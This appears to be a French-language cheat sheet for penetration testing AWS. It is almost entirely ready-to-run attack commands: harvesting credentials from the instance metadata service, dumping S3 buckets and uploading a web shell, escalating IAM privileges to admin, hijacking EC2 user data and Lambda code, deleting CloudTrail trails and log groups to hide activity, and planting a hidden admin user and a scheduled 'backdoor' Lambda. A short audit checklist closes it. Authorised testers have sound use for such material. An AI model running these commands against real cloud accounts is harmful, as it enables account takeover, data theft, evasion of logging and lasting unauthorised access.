| name | cloud-pentesting-aws |
| description | Guide complet de pentest AWS — S3, IAM, Lambda, EC2, ECS, metadata service, privesc, outils et méthodologie |
| category | cybersecurite |
Cloud Pentesting AWS — Guide Avancé
Prérequis Techniques
Obtention des Credentials
aws configure
aws sts get-caller-identity
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
Outils Essentiels
| Outil | Description |
|---|
| Pacu | Framework open-source AWS exploitation |
| ScoutSuite | Audit de configuration complet |
| AWS-Nuke | Nettoyage de comptes |
| CloudSploit | Scanner de sécurité cloud |
| Nimbus | Framework de cloud pentest |
| CloudMapper | Visualisation réseau AWS |
| PMapper | Analyse des chemins de privesc IAM |
Énumération AWS
Buckets S3
Découverte de buckets:
s3://images.target.com
s3://target-backup
s3://target-old
s3scanner https://github.com/sa7mon/S3Scanner
bucket_finder https://github.com/nahamsec/BBTz
lazys3 https://github.com/nahamsec/lazys3
site:s3.amazonaws.com target
site:s3.amazonaws.com "target" "backup"
Enumération avec AWS CLI:
aws s3 ls
aws s3 ls s3://bucket-name/
curl http://bucket-name.s3.amazonaws.com/
curl http://s3.amazonaws.com/bucket-name/
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
aws s3api get-public-access-block --bucket bucket-name
Attaques S3:
aws s3 sync s3://bucket-name/ ./dump/
aws s3 cp shell.php s3://bucket-name/uploads/
aws s3 cp s3://bucket-name/ ./encrypted/ --sse AES256
IAM — Escalade de Privilèges
Privesc IAM — Chemins critiques:
pmapper --profile default visualize
pmapper --profile default query 'presigned privesc'
pmapper --profile default query 'can privesc to admin'
aws ec2 run-instances --iam-instance-profile Name=AdminRole --image-id ami-... --instance-type t2.micro
aws iam create-access-key --user-name admin
aws iam update-assume-role-policy --role-name AdminRole --policy-document file://trust-policy.json
aws lambda create-function --function-name mal --role arn:aws:iam::... --runtime python3.8 --handler index.handler --zip-file fileb://mal.zip
aws iam create-login-profile --user-name admin --password Pwned123!
Outils d'analyse IAM:
Pacu (aws_s3_enum, iam_privesc_scan, iam_enum_permissions)
policy_sentry analyze-iam-policy --file policy.json
EC2 — Exploitation
Snapshot EBS:
aws ec2 create-snapshot --volume-id vol-xxx --description "Backup"
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
aws ec2 attach-volume --volume-id vol-new --instance-id i-victim --device /dev/xvdf
sudo mount /dev/xvdf /mnt
Userdata & Metadata:
aws ec2 describe-instance-attribute --instance-id i-xxx --attribute userData | jq -r '.UserData.Value' | base64 -d
aws ec2 modify-instance-attribute --instance-id i-xxx --attribute userData --value file://malicious.sh
EC2 SSRF → Cloud:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"
Lambda — Exploitation
aws lambda list-functions
aws lambda get-function --function-name target-func
aws lambda list-event-source-mappings --function-name target-func
aws lambda update-function-code --function-name target-func --zip-file fileb://mal.zip
aws lambda get-function-configuration --function-name target-func | jq '.Environment'
ECS — Container Escape
aws ecs list-clusters
aws ecs list-tasks --cluster prod
aws ssm start-session --target ecs:cluster-name_task-id_container-name
CloudTrail — Évasion de Logs
aws cloudtrail stop-logging --name trail-name
aws cloudtrail delete-trail --name trail-name
aws s3api put-bucket-logging --bucket target-bucket --logging-configuration {}
aws logs delete-log-group --log-group-name /aws/lambda/target-function
Pacu — Workflow Complet
pip install pacu
pacu
set_keys
run aws_enum
run iam_enum_permissions
run iam_privesc_scan
run ec2_enum
run lambda_enum
run s3_enum
run rds_enum
run services_backup
run organizations_policy
Persistance dans AWS
aws iam create-user --user-name support-backup
aws iam attach-user-policy --user-name support-backup --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name support-backup
aws sts get-session-token --duration-seconds 129600
aws events put-rule --name backdoor-rule --schedule-expression "rate(1 day)"
aws events put-targets --rule backdoor-rule --targets "Id"="1","Arn"="arn:aws:lambda:...:function:backdoor"
Checklist Audit AWS
- S3 buckets publics/mal configurés
- IAM over-permissive (pas de least privilege)
- EC2 Metadata accessible (IMDSv1)
- RDS/Snapshots publics
- Security Groups trop ouverts (0.0.0.0/0)
- CloudTrail désactivé
- KMS keys mal configurées
- Lambda fonctions avec variables d'environnement sensibles
- VPC Flow Logs désactivés
- GuardDuty désactivé
- Root account MFA désactivé
- Password policy faible
Ressources